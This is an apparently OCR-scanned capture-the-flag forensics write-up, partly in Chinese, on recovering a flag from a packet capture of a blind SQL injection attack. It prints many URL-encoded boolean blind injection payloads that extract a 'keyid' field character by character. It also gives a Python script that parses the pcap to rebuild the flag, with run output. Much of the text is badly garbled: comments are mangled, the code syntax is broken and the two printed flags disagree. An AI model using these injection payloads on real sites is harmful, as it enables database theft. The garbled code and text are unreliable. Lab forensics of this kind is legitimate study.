WESHT I, SQLIEA

http://www.ctf8.com/index/containers/ContainerOtherCtfDetail /56
IR FEHOCH T
X > BHXR S HTTP S H http X%

27197 localhost:81
27211 localhost:81
27225 localhost:81
27239 localhost:81
27253 localhost:81
27267 localhost:81
27281 localhost:81
27295 localhost:81
27309 localhost:81
27323 localhost:81
27337 localhost:81
27351 localhost:81
27365 localhost:81
27379 localhost:81
27393 localhost:81
27407 localhost:81
27421 localhost:81
27435 localhost:81
27449 localhost:81
27463 localhost:81

text/html 492 bytes
text/html 492 bytes
text/html 492 bytes
text/html 492 bytes
text/html 492 bytes
text/html 492 bytes
text/html 492 bytes
text/html 492 bytes
text/html 492 bytes
text/html 492 bytes
text/html 492 bytes
text/html 492 bytes
text/html 492 bytes
text/html 492 bytes
text/html 492 bytes
text/html 492 bytes
text/html 492 bytes
text/html 492 bytes
text/html 492 bytes
text/html 518 bytes

BN B
“9%20and%20ascii(substring((select%20keyid%20from%20flag%20limit%200,1),”

W HHA python3

7id=1'%20and%20ascii(substring((select¥20keyid%20from%:20flag%20limit36200,1),38,1))=106%23
?id=1'%20and%20ascii(substring((select?20keyid%20from%:20flag%20limit36200,1),38,1))=107%23
?id=1'%20and%20ascii(substring((select%20keyid%20from%%20flag%20limit%6200,1),38,1))=108%23
id=1'%20and%20ascii(substring([select¥%20keyid%20from%20flag%20limit3:200,1),38,1))=109%23
#id=1'%20and%20ascii(substring((select3%20keyid%20Mfrom%20flag%20limit3:200,1),38,1))=110%23
7id=1'%20and%20ascii(substring((select¥20keyid%20from%:20flag%20limit36200,1),38,1))=111%23
?id=1'%20and%20ascii(substring((selects20keyid%20from%:20flag%20limit36200,1),38,1))=112%23
?id=1'%20and%20ascii(substring((select%20keyid%20from%:20flag%20limit36200,1),38,1))=113%23
?id=1'%20and%20ascii(substring((select%20keyid%20from%:20flag%20limit36200,1),38,1))=114%23
fid=1'%20and%20ascii(substring((select¥20keyid%20from%%2Mlag%20limit3:200,1),38,1))=115%23
7id=1'%20and%20ascii(substring((select¥20keyid%20from%20flag%20limit%200,1),38,1))=116%23
7id=1'%20and%20ascii(substring((select?s20keyid%20from%:20flag%20limit36200,1),38,1))=117%23
?id=1'%20and%20ascii(substring((select320keyid%%20from%:20flag%20limit36200,1),38,1))=118%23
?id=1'%20and%20ascii(substring((select%20keyid%20from%:20flag%20limit36200,1),38,1))=119%23
#id=1'%20and%20ascii(substring((select¥20keyid%2MHrom%20flag%20limit3:200,1),38,1))=120%23
7id=1'%20and%20ascii(substring((select¥20keyid%20from%:20flag%20limit36200,1),38,1))=121%23
7id=1'%20and%20ascii(substring((select20keyid%20from%:20flag%20limit36200,1),38,1))=122%23
?id=1'%20and%20ascii(substring((select20keyid%20from3:20flag%%20limit36200,1),38,1))=123%23
?id=1'%20and%20ascii(substring((select%620keyid%620from%20flag%20limit%6200,1),38,1))=124%23
#id=1"%20and%20ascii(substring((select¥20keyid%20from%20flag %20limit3:200,1),38,1))=125%23

# MG Ckeyid® BER B AR, {0y RS AL

(IREES

SAEJREMRE )t

keystr = r'%20and%20ascii(substring((select%20keyid%20from%20flag%20limit%200,1),{0}'

# GIE— NN 40 AR, T AAAETLEC 30 45 2R
| = [None] * 40

try:

# DL 150-8859-1 4mhd#THF pcap SCAFREATIRZHEN
with open(r'F:\docker\ctf8\ #{ #% 4> #T \enclosure\ V¥ A — \sql.pcap', 'r,

encoding='ISO-8859-1') as f:

# FAT IO N A
foriin f.readlines():

oS

# WM 1

3| 39 T

forjinrange(1, 40, 1):
# FIB G AT 2 B E B R keystr BAR FFF

if keystr.format(j) +'," in i:

tmp =i

# SRECA AT AT

# RBUZAT =" RN, JHRAZRIZIR T (RAF IR AT RER)

I[j - 1] = tmp.split("=")[-1]




WHFFR T R I0
foriinl:
# 2Bk %23 (URL Zafisriff) #), LIAALE HRECE 7355
tmp = i.split(r'%23')[0]
# OB E AR R R ONEEA, SRS che BRI IR N0 R IR A
print(chr(int(tmp)), end="

except:
# RSO R B o B I R, SR R
pass
T# tiz—ras keyid® HOF A SHEELRE "] HirE

T,

keystr = r'°/20and/20ascll(substrlng((select°/20key1d/20from/28ﬂag/2811m1t/200 1),{6}'

¥ E—1

7 40 FIAIE, ST IR

= [None] % 40
try:
# Ll 1S0-8859-1 #HEFTH peap X EHITEHR
with open(r'F:\docker\ctf8\##Es#r\enclosure\ix A —\sql.pcap', 'r', encoding='IS0-8859-1') as f:
# TR 5
for i in f.readlines():
# BEHM L1 FY 39 T
for j in range(l 40, 1):
# ‘keystr®
if keystr. format(j) + ', in i:
# FERRIILEAT T
= o (RIFATE ATBERTE T4
13 - 1] tnp. spllt(”‘”)[ 1]
# G U eI
for i in 1
# FB %237 WURL g H)
tmp = i.split(r'%23')[0]
# TS B, SEH ‘chr' X
print(chr(int(tmp)), end='')
except:
# R
pass
Run: FEAC
> c:\Users\Administrator\PycharmProjects\pythonProjectl\venv\Scripts\python.exe F:/docker/ctf8/%uiisHi/report/ik

flag{c2bbf9cecdaf656cf524d014c5bfO46C)
y Process finished with exit code 8

Atpy




URFE\O-CTF-Forensics\ it

tmp=1i
L[] =tmp.split("=")[-1]

i L=
tmp=i.split(r [8]

(chr(int(tmp)),end=""')

AT

D:\PathTools\Python37\python.exe F:/docker/ctf8/ L

report/iEA . py
flag{c2bbf9cecdaf656cf524d014c5hfRa6c}H

s finished with exit code @
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